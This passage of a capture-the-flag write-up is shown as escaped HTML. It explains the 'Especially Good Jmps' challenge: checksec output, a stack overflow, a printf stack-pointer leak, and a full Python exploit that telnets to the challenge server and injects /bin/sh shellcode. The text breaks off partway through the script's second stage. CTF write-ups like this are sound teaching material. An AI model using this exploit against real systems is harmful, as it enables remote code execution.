&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;c&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;lt;​Q&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;4919&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;especially-good-jmps&quot;&gt;Especially Good Jmps&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;What&lt;span class=&quot;s1&quot;&gt;&amp;#39;s your name?&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;aaaaaaaaaa&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;What&amp;#39;&lt;/span&gt;s your favorite number?
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
Hello aaaaaaaaaa, &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; is an odd number!&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;$ ./checksec.sh --file egj
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   egj&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The challenge description also says that ASLR is enabled on the remote server.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;What&lt;span class=&quot;s1&quot;&gt;&amp;#39;s your name?&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;What&amp;#39;&lt;/span&gt;s your favorite number?
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, 
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; is an odd number!
fish: “./egj” terminated by signal SIGSEGV &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Address boundary error&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Looking at how the name is loaded:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/egj-stackover.png&quot;&gt;&lt;img src=&quot;/images/tuctf/egj-stackover_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Okay, so we have full control over the stack and DEP is disabled, however, as the stack
location is random, we cannot just load a shellcode and then jump to it as its address
is unknown.&lt;/p&gt;

&lt;p&gt;Note that the binary is not PIE, so at least all the functions which get loaded from libc
and the main application code is is accessible using constant addresses.&lt;/p&gt;

&lt;p&gt;Let’s run a debugger and put a breakpoint at return from the main function
(which is where we first are able to get control over the execution).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/egj-stackptr.png&quot;&gt;&lt;img src=&quot;/images/tuctf/egj-stackptr_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nice, so there is a stack pointer on the stack, now we need to leak it. To do that,
a fragment of the “Hello %s, %d is an odd number!” can be used (remember, the binary
is not position independent, so this will stay on a constant address) and an address
of the printf function from the PLT.&lt;/p&gt;

&lt;p&gt;In the first round of the exploit, the stack will be arranged as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Pointer to printf in the PLT&lt;/li&gt;
  &lt;li&gt;main address (as we need to run main one more time after leaking the pointer)&lt;/li&gt;
  &lt;li&gt;Pointer to “%d is an odd number”&lt;/li&gt;
  &lt;li&gt;Some stack pointer&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This will cause the server to output the stack pointer, the second round is then
easy — just load a pointer to the shellcode and the shellcode itself.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;#! /usr/bin/env python3&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;telnetlib&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;telnetlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Telnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;130.211.202.98&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7575&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0804851d&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x080483b0&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;leakstr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x080486d8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Hello &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;a&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Build stack frame&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;lt;​I&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Go to printf&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;lt;​I&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Return to main for a second round of exploitation&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;lt;​I&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leakstr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# printf(&amp;quot;..%d..&amp;quot;) leak a pointer to stack&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;1    &amp;quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# We need something to delimit the digit but not \n as it would interfere with gets later&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Leaking address...&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;What&amp;#39;s your name?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;What&amp;#39;s your favorite number?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Hello &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Read leaked address&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Leaked &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%08x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# We now have pointer to stack, launch the real exploit&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# http://shell-storm.org/shellcode/files/shellcode-827.php&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;b&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;lt;​I&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;What&amp;#39;s your name?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;What&amp;#39;s your favorite number?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
